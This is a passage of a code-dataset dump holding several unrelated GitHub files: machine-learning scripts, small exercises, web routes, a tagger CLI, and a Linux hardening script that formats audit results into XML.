data_parallelism,\n weights_fn=common_layers.weights_nonzero):\n \"\"\"Transform all shards of targets.\n Classes with cross-shard interaction will override this function.\n \"\"\"\n sharded_logits = data_parallelism(self.top, sharded_body_output,\n sharded_targets)\n if sharded_targets is None:\n return sharded_logits, 0\n\n loss_num, loss_den = data_parallelism(\n common_layers.padded_cross_entropy,\n sharded_logits,\n sharded_targets,\n self._model_hparams.label_smoothing,\n weights_fn=weights_fn)\n loss = tf.add_n(loss_num) / tf.maximum(1.0, tf.add_n(loss_den))\n return sharded_logits, loss\n\n\n","repo_name":"wszlong/sb-nmt","sub_path":"models/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":20372,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"60"} +{"seq_id":"29397930165","text":"'''\nFaça um programa que receba dois \nnúmeros inteiros e gere os números inteiros que estão no intervalo compreendido por eles.\n'''\nx = int(input(\"Insira um número inteiro: \"))\ny = int(input(\"Insira outro número inteiro: \"))\n\nif x < y:\n for i in range(x,y, 1):\n print(i)\nelse:\n for i in range(y,x, 1):\n print(i)","repo_name":"vwnxvinicius/exercicios_python","sub_path":"Estrutura_de_repetição/exercicio_10.py","file_name":"exercicio_10.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12882788146","text":"import os\nfrom configparser import ConfigParser\nimport sys\n# sys.path.append('/home/zhengc/NRC-LIMS-dataDownloader')\n# sys.path.append('..')\nfrom nrc_ngs_dl.lims_database import LimsDatabase\nfrom nrc_ngs_dl.web_parser import WebParser\nfrom nrc_ngs_dl.sequence_run import SequenceRun\n\nimport logging\n\n\ndef main():\n # get settings from config.ini.sample file\n \n config_parser = ConfigParser()\n if len(sys.argv) < 2:\n logging.info('missing the configuration file')\n logging.info('usage: python lims_downloader.py /path/to/configuration.sample')\n sys.exit(0)\n \n config_file = sys.argv[1]\n try: \n with open(config_file):\n config_parser.read(config_file)\n except IOError:\n logging.info('cannot open file: config.ini.sample')\n sys.exit(0)\n \n try: \n USERNAME = config_parser.get('nrc_lims', 'username')\n PASSWORD = config_parser.get('nrc_lims', 'password')\n LOGIN_URL = config_parser.get('nrc_lims', 'login_url')\n RUNLIST_URL = config_parser.get('nrc_lims', 'runlist_url')\n DESTINATION_FOLDER = config_parser.get('output', 'path')\n except:\n print('cannot get values')\n sys.exit(0)\n \n if not DESTINATION_FOLDER.endswith('/'):\n DESTINATION_FOLDER = DESTINATION_FOLDER+\"/\"\n \n if not os.path.exists(DESTINATION_FOLDER):\n print('DESTINATION_FOLDER not exist; do not have permission to access the folder')\n sys.exit(0)\n # connect to database if the database exist\n # otherwise create tables for this database\n \n # login to LIMS webpage\n web_parser = WebParser(LOGIN_URL, RUNLIST_URL, USERNAME, PASSWORD)\n \n # get a list of all the completed sequence runs\n # information for each run : url_for_the_run, run_name, plate_name,\n # Platform, Operator, Creation Date, Description, status\n TABLE_RUN_LIST = config_parser.get('run_list_setting', 'table')\n COLUMN_RUN_LINK = config_parser.get('run_list_setting', 'column_link')\n COLUMN_RUN_STATUS = config_parser.get('run_list_setting', 'column_status')\n run_list = web_parser.get_runlist(TABLE_RUN_LIST, COLUMN_RUN_LINK, COLUMN_RUN_STATUS)\n \n # for each sequence run in the list,\n # 1. check if it is a new data or re-processed data\n # 2. in the case of new data: download the data, insert the information of the data into database tables\n # 3. in the case of re-processed data:\n TABLE_FILE_LIST = config_parser.get('file_list_setting', 'table')\n COLUMN_FILE_LINK = config_parser.get('file_list_setting', 'column_link')\n COLUMN_LANE = config_parser.get('file_list_setting', 'column_lane')\n for a_run in run_list:\n run_url = a_run\n run_info = web_parser.get_run_info(run_url)\n lane_info = web_parser.get_lane_info(run_url, TABLE_FILE_LIST, COLUMN_LANE, COLUMN_FILE_LINK)\n for a_lane in lane_info:\n if run_info.run_name == '':\n file_info = web_parser.get_fileinfo(run_url, a_lane)\n output_path_name = os.path.join(DESTINATION_FOLDER, a_lane[1])\n print(output_path_name)\n # time_and_size = web_parser.download_zipfile(a_lane[2],output_path_name)\n sequence_run = SequenceRun(a_lane, file_info, DESTINATION_FOLDER)\n if sequence_run.unzip_package():\n sequence_run.rename_files()\n print(sequence_run.file_info)\n \n\nif __name__ == '__main__':\n main()\n","repo_name":"AAFC-BICoE/nrc-ngs-downloader","sub_path":"test/test_rename.py","file_name":"test_rename.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6268430462","text":"#https://leetcode.com/problems/shortest-palindrome/\n#Used prefix table of KMP algorithm\n#Space complexity: O(n) where n is the length of s\n#Time complexity: O(n)\n\nclass Solution:\n def shortestPalindrome(self, s: str) -> str:\n aux_s = s + \"#\" + ''.join(reversed(s))\n m = len(aux_s)\n pt = [0]*m\n i = 1\n j = 0\n while i max:\n max = current\n current = 0\n\nprint(max)","repo_name":"stevejefferies/advent-of-code","sub_path":"2022/day_01/solution_part_1.py","file_name":"solution_part_1.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73764022270","text":"#!/usr/bin/python3\n# -*- coding: utf-8, vim: expandtab:ts=4 -*-\n\nimport argparse\nfrom os.path import isdir, join, isfile\nimport sys\nimport os\nimport numpy as np\nimport yaml\n\nfrom feature import Feature\nfrom trainer import Trainer\nfrom tagger import Tagger\nfrom transmodel import TransModel\n\n\ndef mainTransModelTrain(options):\n transModel = TransModel(options['tagField'], lmw=options['lmw'], order=options['transModelOrder'])\n # It's possible to train multiple times incrementally...\n transModel.train(options['inputStream'])\n # Close training, compute probabilities\n transModel.count()\n transModel.writeToFile(options['transModelFileName'])\n\n\ndef mainTrain(featureSet, options):\n trainer = Trainer(featureSet, options)\n\n if 'inFeatFile' in options and options['inFeatFile']:\n # Use with featurized input\n trainer.getEventsFromFile(options['inFeatFile'])\n else: # Use with raw input\n trainer.getEvents(options['inputStream'])\n\n if options['task'] == 'most-informative-features':\n trainer.cutoffFeats()\n trainer.mostInformativeFeatures(options['outputStream'])\n elif 'toCRFsuite' in options and options['toCRFsuite']:\n trainer.cutoffFeats()\n trainer.toCRFsuite(options['outputStream'])\n trainer.save()\n else:\n trainer.cutoffFeats()\n trainer.train()\n trainer.save()\n\n\ndef mainTag(featureSet, options):\n transModel = None\n if not (options['printWeights'] or options['toCRFsuite']):\n print('loading transition model...', end='', file=sys.stderr, flush=True)\n transModel = TransModel.getModelFromFile(options['transModelFileName'])\n print('done', file=sys.stderr, flush=True)\n\n tagger = Tagger(featureSet, transModel, options)\n if 'inFeatFile' in options and options['inFeatFile']:\n # Tag a featurized file to to outputStream\n for sen, comment in tagger.tagFeatures(options['inFeatFile']):\n writeSentence(sen, options['outputStream'], comment)\n elif 'ioDirs' in options and options['ioDirs']:\n # Tag all files in a directory file to to fileName.tagged\n for sen, fileName in tagger.tagDir(options['ioDirs'][0]):\n writeSentence(sen, open(join(options['ioDirs'][1], '{0}.tagged'.format(fileName)), 'a', encoding='UTF-8'))\n elif 'toCRFsuite' in options and options['toCRFsuite']:\n # Make CRFsuite format to outputStream for tagging\n tagger.toCRFsuite(options['inputStream'], options['outputStream'])\n elif 'printWeights' in options and options['printWeights']:\n # Print MaxEnt weights to STDOUT\n tagger.printWeights(options['printWeights'], options['outputStream'])\n else:\n # Tag inputStream to outputStream\n for sen, comment in tagger.tagCorp(options['inputStream']):\n writeSentence(sen, options['outputStream'], comment)\n\n\ndef writeSentence(sen, out=sys.stdout, comment=None):\n if comment:\n out.write('{0}\\n'.format(comment))\n out.writelines('{0}\\n'.format('\\t'.join(tok)) for tok in sen)\n out.write('\\n')\n out.flush()\n\n\ndef loadYaml(cfgFile):\n lines = open(cfgFile, encoding='UTF-8').readlines()\n try:\n start = lines.index('%YAML 1.1\\n')\n except ValueError:\n print('Error in config file: No document start marker found!', file=sys.stderr)\n sys.exit(1)\n rev = lines[start:]\n rev.reverse()\n try:\n end = rev.index('...\\n')*(-1)\n except ValueError:\n print('Error in config file: No document end marker found!', file=sys.stderr)\n sys.exit(1)\n if end == 0:\n lines = lines[start:]\n else:\n lines = lines[start:end]\n\n return yaml.load(''.join(lines))\n\n\ndef getFeatureSetYAML(cfgFile):\n features = {}\n defaultRadius = -1\n defaultCutoff = 1\n cfg = loadYaml(cfgFile)\n\n if 'default' in cfg:\n if 'cutoff' in cfg['default']:\n defaultCutoff = cfg['default']['cutoff']\n if 'radius' in cfg['default']:\n defaultRadius = cfg['default']['radius']\n\n for feat in cfg['features']:\n options = {}\n if 'options' in feat:\n options = feat['options']\n\n if isinstance(feat['fields'], int):\n fields = [feat['fields']]\n else:\n fields = [int(field) for field in feat['fields'].split(',')]\n\n radius = defaultRadius\n if 'radius' in feat:\n radius = feat['radius']\n\n cutoff = defaultCutoff\n if 'cutoff' in feat:\n cutoff = feat['cutoff']\n\n name = feat['name']\n features[name] = Feature(feat['type'], name, feat['actionName'], fields, radius, cutoff, options)\n\n return features\n\n\ndef validDir(inputDir):\n if not isdir(inputDir):\n raise argparse.ArgumentTypeError('\"{0}\" must be a directory!'.format(inputDir))\n outDir = '{0}_out'.format(inputDir)\n os.mkdir(outDir)\n return inputDir, outDir\n\n\ndef validFile(inputFile):\n if not isfile(inputFile):\n raise argparse.ArgumentTypeError('\"{0}\" must be a file!'.format(inputFile))\n return inputFile\n\n\ndef parseArgs():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('task', choices=['transmodel-train', 'most-informative-features', 'train', 'tag'],\n help='avaliable tasks: transmodel-train, most-informative-features, train, tag')\n\n parser.add_argument('-c', '--config-file', dest='cfgFile', type=validFile,\n help='read feature configuration from FILE',\n metavar='FILE')\n\n parser.add_argument('-m', '--model', dest='modelName',\n help='name of the (trans) model to be read/written',\n metavar='NAME')\n\n parser.add_argument('--model-ext', dest='modelExt', default='.model',\n help='extension of model to be read/written',\n metavar='EXT')\n\n parser.add_argument('--trans-model-ext', dest='transModelExt', default='.transmodel',\n help='extension of trans model file to be read/written',\n metavar='EXT')\n\n parser.add_argument('--trans-model-order', dest='transModelOrder', default=3,\n help='order of the transition model',\n metavar='EXT')\n\n parser.add_argument('--feat-num-ext', dest='featureNumbersExt', default='.featureNumbers.gz',\n help='extension of feature numbers file to be read/written',\n metavar='EXT')\n\n parser.add_argument('--label-num-ext', dest='labelNumbersExt', default='.labelNumbers.gz',\n help='extension of label numbers file to be read/written',\n metavar='EXT')\n\n parser.add_argument('-l', '--language-model-weight', dest='lmw',\n type=float, default=1,\n help='set relative weight of the language model to L',\n metavar='L')\n\n parser.add_argument('-O', '--cutoff', dest='cutoff', type=int, default=1,\n help='set global cutoff to C',\n metavar='C')\n\n parser.add_argument('-p', '--parameters', dest='trainParams',\n help='pass PARAMS to trainer',\n metavar='PARAMS')\n\n parser.add_argument('-u', '--used-feats', dest='usedFeats', type=validFile,\n help='limit used features to those in FILE',\n metavar='FILE')\n\n parser.add_argument('-t', '--tag-field', dest='tagField', type=int, default=-1,\n help='specify FIELD containing the labels to build models from',\n metavar='FIELD')\n\n groupI = parser.add_mutually_exclusive_group()\n\n groupI.add_argument('-i', '--input', dest='inputFileName', type=validFile,\n help='Use input file instead of STDIN',\n metavar='FILE')\n\n groupI.add_argument('-d', '--input-dir', dest='ioDirs', type=validDir,\n help='process all files in DIR (instead of stdin)',\n metavar='DIR')\n\n groupI.add_argument('-f', '--input-feature-file', dest='inFeatFileName', type=validFile,\n help='use training events in FILE (already featurized input, see --toCRFsuite)',\n metavar='FILE')\n\n groupO = parser.add_mutually_exclusive_group()\n\n groupO.add_argument('-F', '--feature-file', dest='outFeatFileName',\n help='write training events to FILE (deprecated, use --toCRFsuite instead)',\n metavar='FILE')\n\n groupO.add_argument('-o', '--output', dest='outputFileName',\n help='Use output file instead of STDOUT',\n metavar='FILE')\n\n groupO.add_argument('--toCRFsuite', dest='toCRFsuite', action='store_true', default=False,\n help='convert input to CRFsuite format to STDOUT')\n\n groupO.add_argument('--printWeights', dest='printWeights', type=int,\n help='print model weights instead of tagging')\n\n return parser.parse_args()\n\n\ndef main():\n options = parseArgs()\n if options.outFeatFileName:\n print('Error: Argument --feature-file is deprecated! Use --toCRFsuite instead!',\n file=sys.stderr, flush=True)\n sys.exit(1)\n\n if not options.modelName:\n print('Error: Model name must be specified! Please see --help!', file=sys.stderr, flush=True)\n sys.exit(1)\n options.modelFileName = '{0}{1}'.format(options.modelName, options.modelExt)\n options.transModelFileName = '{0}{1}'.format(options.modelName, options.transModelExt)\n options.featCounterFileName = '{0}{1}'.format(options.modelName, options.featureNumbersExt)\n options.labelCounterFileName = '{0}{1}'.format(options.modelName, options.labelNumbersExt)\n\n # Data sizes across the program (training and tagging). Check manuals for other sizes\n options.dataSizes = {'rows': 'Q', 'rowsNP': np.uint64, # Really big...\n 'cols': 'Q', 'colsNP': np.uint64, # ...enough for indices\n 'data': 'B', 'dataNP': np.uint8, # Currently data = {0, 1}\n 'labels': 'H', 'labelsNP': np.uint16, # Currently labels > 256...\n 'sentEnd': 'Q', 'sentEndNP': np.uint64 # Sentence Ends in rowIndex\n } # ...for safety\n options.outputStream = sys.stdout\n options.inputStream = sys.stdin\n\n optionsDict = vars(options)\n if optionsDict['inputFileName']:\n optionsDict['inputStream'] = open(optionsDict['inputFileName'], encoding='UTF-8')\n if optionsDict['outputFileName']:\n optionsDict['outputStream'] = open(optionsDict['outputFileName'], 'w', encoding='UTF-8')\n\n if optionsDict['task'] == 'transmodel-train':\n mainTransModelTrain(optionsDict)\n elif optionsDict['task'] == 'train' or optionsDict['task'] == 'most-informative-features':\n featureSet = getFeatureSetYAML(optionsDict['cfgFile'])\n mainTrain(featureSet, optionsDict)\n elif optionsDict['task'] == 'tag':\n if optionsDict['inFeatFileName']:\n featureSet = None\n optionsDict['inFeatFile'] = open(optionsDict['inFeatFileName'], encoding='UTF-8')\n else:\n featureSet = getFeatureSetYAML(optionsDict['cfgFile'])\n mainTag(featureSet, optionsDict)\n else:\n print('Error: Task name must be specified! Please see --help!', file=sys.stderr, flush=True)\n sys.exit(1)\n\nif __name__ == '__main__':\n main()\n","repo_name":"nytud/hunlp-GATE","sub_path":"Lang_Hungarian/resources/huntag3/huntag.py","file_name":"huntag.py","file_ext":"py","file_size_in_byte":11675,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"20158713525","text":"\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\n\ndef home(request):\n\tcontext = RequestContext(request)\n\tdata = {}\n\tif request.method == \"POST\":\n\t\ttemplate_name = \"respuesta.html\"\n\t\tif request.POST.get(\"nombre\").lower() == \"hola\":\n\t\t\tdata['result'] = True\n\telif request.method == \"GET\":\n\t\ttemplate_name = \"formulario.html\"\n\treturn render_to_response(template_name, data, context_instance=context)","repo_name":"razpeitia/django-post-request-example","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"74629078910","text":"import xml.etree.ElementTree as ET\nimport sys\nimport xml.dom.minidom\nimport os\nimport subprocess\nimport fcntl\nimport lxml.etree as etree\nfile1='/var/neridio/largefile.xml'\nfile2='/var/neridio/Asecfile.xml'\nfile3='/var/neridio/Msecfile.xml'\nfile4='/var/neridio/banned_ip.xml'\nfile5='/athinio/system/services.xml'\nfile6='/athinio/system/open_ports.xml'\nfile7='/athinio/system/nouser_noowner.xml'\nfile8='/athinio/system/world_writable_files.xml'\nfile9='/athinio/system/suid_sgid_files.xml'\nfile10='/athinio/system/zero_uid.xml'\nfile11='/athinio/system/user_emptypass_list.xml'\nfile12='/athinio/system/accstat.xml'\n\n#arr=[]\n#root = ET.parse('/athinio/system/param_cmd_52.xml').getroot()\n#Count= root.find('noofparameters').text\n#for i in range(0,int(Count)):\n # a=root.find('param'+str(i)).text\n #arr.append(a)\n#print arr\n\ndef unlockfile(fd):\n while True:\n try:\n fcntl.flock(fd, fcntl.LOCK_UN)\n break\n except IOError as e:\n if e.errno != errno.EAGAIN:\n raise\n else:\n time.sleep(0.1)\n return 0\ndef lockfile(fd):\n #only advisory locking\n while True:\n try:\n fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)\n break\n except IOError as e:\n if e.errno != errno.EAGAIN:\n return -1\n else:\n time.sleep(0.1)\n return 0\ndef convertXML_to_prettyXML(file1):\n with open(file1) as f:\n x=etree.parse(file1)\n final_xml=etree.tostring(x,pretty_print=True)\n sys.stdout = open(file1,\"w\")\n lockfile(sys.stdout)\n print(final_xml)\n unlockfile(sys.stdout)\n sys.stdout.close()\n\n\n \n#if sys.argv[1] in arr:\ndef create(file1,out,root,sub1,sub3,sub4,sub5,sub6):\n if(sub3):\n root1=ET.Element(root)\n child2=ET.SubElement(root1,\"Currently_failed\")\n child2.text=sub3\n child3=ET.SubElement(root1,\"Total_failed\")\n child3.text=sub4\n child4=ET.SubElement(root1,\"Currently_banned\")\n child4.text=sub5\n child5=ET.SubElement(root1,\"Total_banned\")\n child5.text=sub6\n num=ET.SubElement(root1,'Count')\n num.text= \"1\"\n child1=ET.SubElement(root1,sub1)\n child1.text=out\n\n ET.ElementTree(root1).write(file1,encoding=\"UTF-8\",xml_declaration=True,method=\"xml\")\n convertXML_to_prettyXML(file1)\n else:\n root1=ET.Element(root)\n num=ET.SubElement(root1,'Count')\n num.text= \"1\"\n child1=ET.SubElement(root1,sub1)\n child1.text=out\n ET.ElementTree(root1).write(file1,encoding=\"UTF-8\",xml_declaration=True,method=\"xml\")\n convertXML_to_prettyXML(file1)\n\ndef append(file1,out,sub2):\n root1=ET.parse(file1).getroot()\n num = int(root1.find('Count').text)\n num = str(num+1)\n child1=ET.SubElement(root1,sub2+num)\n child1.text=out\n root1.find('Count').text=str(num)\n doc= ET.ElementTree(root1)\n doc.write(file1,encoding=\"UTF-8\",xml_declaration=True,method=\"xml\")\n convertXML_to_prettyXML(file1)\n\narr=[]\nif (sys.argv[1] == \"/athinio/system/LARGEFILES\"):\n root = \"LARGE_FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n for j in arr:\n if not os.path.isfile(file1):\n create(file1,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file1,j,sub2)\nif (sys.argv[1] == \"/athinio/system/ASECFILES\"):\n root = \"ACCESS_FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n for j in arr:\n if not os.path.isfile(file2):\n create(file2,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file2,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/MSECFILES\"):\n root = \"MODIFIED_FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n for j in arr:\n if not os.path.isfile(file3):\n create(file3,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file3,j,sub2)\nif (sys.argv[1] == \"/athinio/system/BANNEDIP\"):\n root = \"BANNED_IP\"\n sub1 = \"ip_1\"\n sub2 = \"ip_\"\n sub3 = sys.argv[2]\n sub4 = sys.argv[3]\n sub5 = sys.argv[4]\n sub6 = sys.argv[5] \n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr = i.split()\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file4):\n create(file4,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file4,j,sub2)\nif (sys.argv[1] == \"/athinio/system/CONNECTEDIP\"):\n arr1=''\n replace=''\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n with open(sys.argv[2],'r') as f1:\n f1=f1.readlines()\n \n for j in f1:\n if \"ignoreip\" in j:\n replace=\"ignoreip = 127.0.0.1\"\n for k in arr:\n replace = replace+\" \"+k\n else:\n #print j\n arr1=arr1+j+\"\\n\"\n\n #print arr1+replace\n total=arr1+replace\n with open(sys.argv[2],'w') as f2:\n f2.write(total)\n\nif (sys.argv[1] == \"/athinio/system/LIST_SERVICE_ON\"):\n root = \"SERVICES\"\n sub1 = \"service_1\"\n sub2 = \"service_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n \n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file5):\n create(file5,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file5,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/ACCSTAT\"):\n root = \"USER_LIST\"\n sub1 = \"user_1\"\n sub2 = \"user_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file12):\n create(file12,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file12,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/LIST_OPEN_PORTS\"):\n root = \"OPEN_PORTS\"\n sub1 = \"port_1\"\n sub2 = \"port_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file6):\n create(file6,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file6,j,sub2)\n \nif (sys.argv[1] == \"/athinio/system/NOOWN_NOUSER\"):\n root = \"FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file7):\n create(file7,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file7,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/WW_FILES\"):\n root = \"WW_FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file8):\n create(file8,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file8,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/SUID_SGID\"):\n root = \"SUID_SGID_FILES\"\n sub1 = \"file_1\"\n sub2 = \"file_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file9):\n create(file9,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file9,j,sub2)\nif (sys.argv[1] == \"/athinio/system/ZEROUID\"):\n root = \"Users\"\n sub1 = \"user_1\"\n sub2 = \"user_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file10):\n create(file10,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file10,j,sub2)\n\nif (sys.argv[1] == \"/athinio/system/EMPTYPASS\"):\n root = \"Users\"\n sub1 = \"user_1\"\n sub2 = \"user_\"\n sub3 = 0\n sub4 = 0\n sub5 = 0\n sub6 = 0\n\n with open(sys.argv[1],'r') as f:\n f=f.readlines()\n for i in f:\n arr.append(i)\n #print arr\n for j in arr:\n #print j\n if not os.path.isfile(file11):\n create(file11,j,root,sub1,sub3,sub4,sub5,sub6)\n else:\n append(file11,j,sub2)\n\n\n","repo_name":"anandmallela/Nervioguard","sub_path":"LinGuard/athinio/bin/largefiles.py","file_name":"largefiles.py","file_ext":"py","file_size_in_byte":8366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32317927946","text":"from fastapi import APIRouter,Depends,HTTPException,Query\nfrom sqlalchemy.orm import Session\nfrom database.configuration import get_db\nfrom . import crud\nimport functools\nfrom staff import schemas\n\n\nrouter = APIRouter(\n prefix=\"/doctors\",\n responses={404: {\"description\": \"Not found\"}},\n)\n\n\n\n\n@router.get(\"/\",response_model=list[schemas.DoctorOut]) #,response_model=list[schemas.DoctorOut]\ndef read_doctors(\n skip: int = 0, \n limit: int = 100, \n db: Session = Depends(get_db),\n ):\n return crud.get_doctors(\n skip=skip,\n limit=limit,\n db=db\n )\n\n# post a new doctor\n@router.post(\"/\",status_code=201) #, response_model=schemas.User\ndef create_doctor(user_id: int, db: Session = Depends(get_db)):\n crud.post_doctor(user_id=user_id,db=db)\n\n\n# Get by id\n@router.get(\"/{doctor_id}\",status_code=200,response_model=schemas.DoctorOut)\ndef get_doctor_by_id(doctor_id:int,db: Session = Depends(get_db)):\n return crud.get_doctor_by_id(doctor_id,db)\n\n\n# Delete by id\n@router.delete(\"/{doctor_id}\",status_code=200) #, response_model=schemas.SedeOut\ndef delete_doctor(doctor_id:int,db: Session = Depends(get_db)):\n return crud.delete_doctor(doctor_id,db)\n","repo_name":"MNGARCIA085/Fast-API---Fisrt-projects","sub_path":"hospital-server/app/staff/doctors/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27471871261","text":"from collections.abc import Iterable, Iterator\nfrom dataclasses import dataclass\nfrom types import ModuleType\n\nimport pytest\nimport pytest_mock\n\nfrom cxx.expression.expression import Expression\n\n\n@dataclass\nclass FakeExpression(Expression):\n content: str\n\n\ndef fake_serialize_expression(expression: Expression) -> Iterator[str]:\n assert isinstance(expression, FakeExpression), \"Invalid expression type in test\"\n yield expression.content\n\n\n@pytest.fixture()\ndef mock_serialize_expression(\n serialization_modules: Iterable[ModuleType],\n module_mocker: pytest_mock.MockerFixture,\n) -> None:\n for module in serialization_modules:\n if not hasattr(module, \"serialize_expression\"):\n continue\n\n module_mocker.patch.object(\n module,\n \"serialize_expression\",\n wraps=fake_serialize_expression,\n )\n","repo_name":"omer54463/cxx","sub_path":"cxx/tests/unit/mocks/mock_serialize_expression.py","file_name":"mock_serialize_expression.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"4868083878","text":"#!/usr/bin/env python3\n\nimport sys\n\nfrom util import Appender, irange, placeholders, header\n\nh = Appender()\n\nMAX_ARGS = 8\nargs = ', '.join(placeholders('_', 1, MAX_ARGS))\nh.helpers(f'#define _VA_SELECT({args}, NAME, ...) NAME')\n\nfor n in irange(2, MAX_ARGS):\n v = list(map(lambda x: chr(64+x), irange(1, n)))\n a = ','.join(v)\n m = '##_##'.join(v)\n h.join(f'#define _JOIN{n}({a}) {m}')\njargs = ', '.join(placeholders('_JOIN', MAX_ARGS, 2))\nh.join(f'#define JOIN(...) _VA_SELECT(__VA_ARGS__, {jargs}, IDENTITY)(__VA_ARGS__)')\n\nfor n in irange(2, MAX_ARGS):\n v = list(map(lambda x: chr(64+x), irange(1, n)))\n a = ','.join(v)\n m = '##'.join(v)\n h.concat(f'#define _CONCAT{n}({a}) {m}')\ncargs = ', '.join(placeholders('_CONCAT', MAX_ARGS, 2))\nh.concat(f'#define CONCAT(...) _VA_SELECT(__VA_ARGS__, {cargs}, IDENTITY)(__VA_ARGS__)')\n\nh.print()\n","repo_name":"ryancdotorg/llhash","sub_path":"src/libh/join_h.py","file_name":"join_h.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"} +{"seq_id":"12262041061","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 20 15:45:20 2018\n\n@author: admin\n\"\"\"\n\nfrom sklearn.externals import joblib\nimport numpy as np \nimport os\n\nmodel = joblib.load('exp/k_means/pretrained_model.joblib') \n\n\ndef load_features(src):\n print(\"[+] Load data....\")\n data = []\n for folder in os.listdir(src):\n folder_path = os.path.join(src, folder) #take path \n for file in os.listdir(folder_path):\n data.append(np.load(os.path.join(folder_path, file))[0])\n print(\"[+] Load data finished\")\n return data\n\nsrc = 'features/vgg16_fc2/testing'\ndata_test = load_features(src)\n\nresult = model.predict(data_test)\nprint('result : ', result)\n\n\n","repo_name":"DavidHung1997/DavidHung1997-Le_Van_Hung_15520275_Models_training_with_machine-leaning","sub_path":"predict_model_kmeans.py","file_name":"predict_model_kmeans.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15487940168","text":"from flask import Flask, render_template, jsonify\nimport os\nfrom rpi.rpi_setup import getInfo, powerOnLed, powerOffLed, checkTemperature\n\napp = Flask(__name__)\n\n\n@app.route('/tempsens', methods=[\"GET\"])\ndef tempsens_page():\n data: dict = getInfo()\n 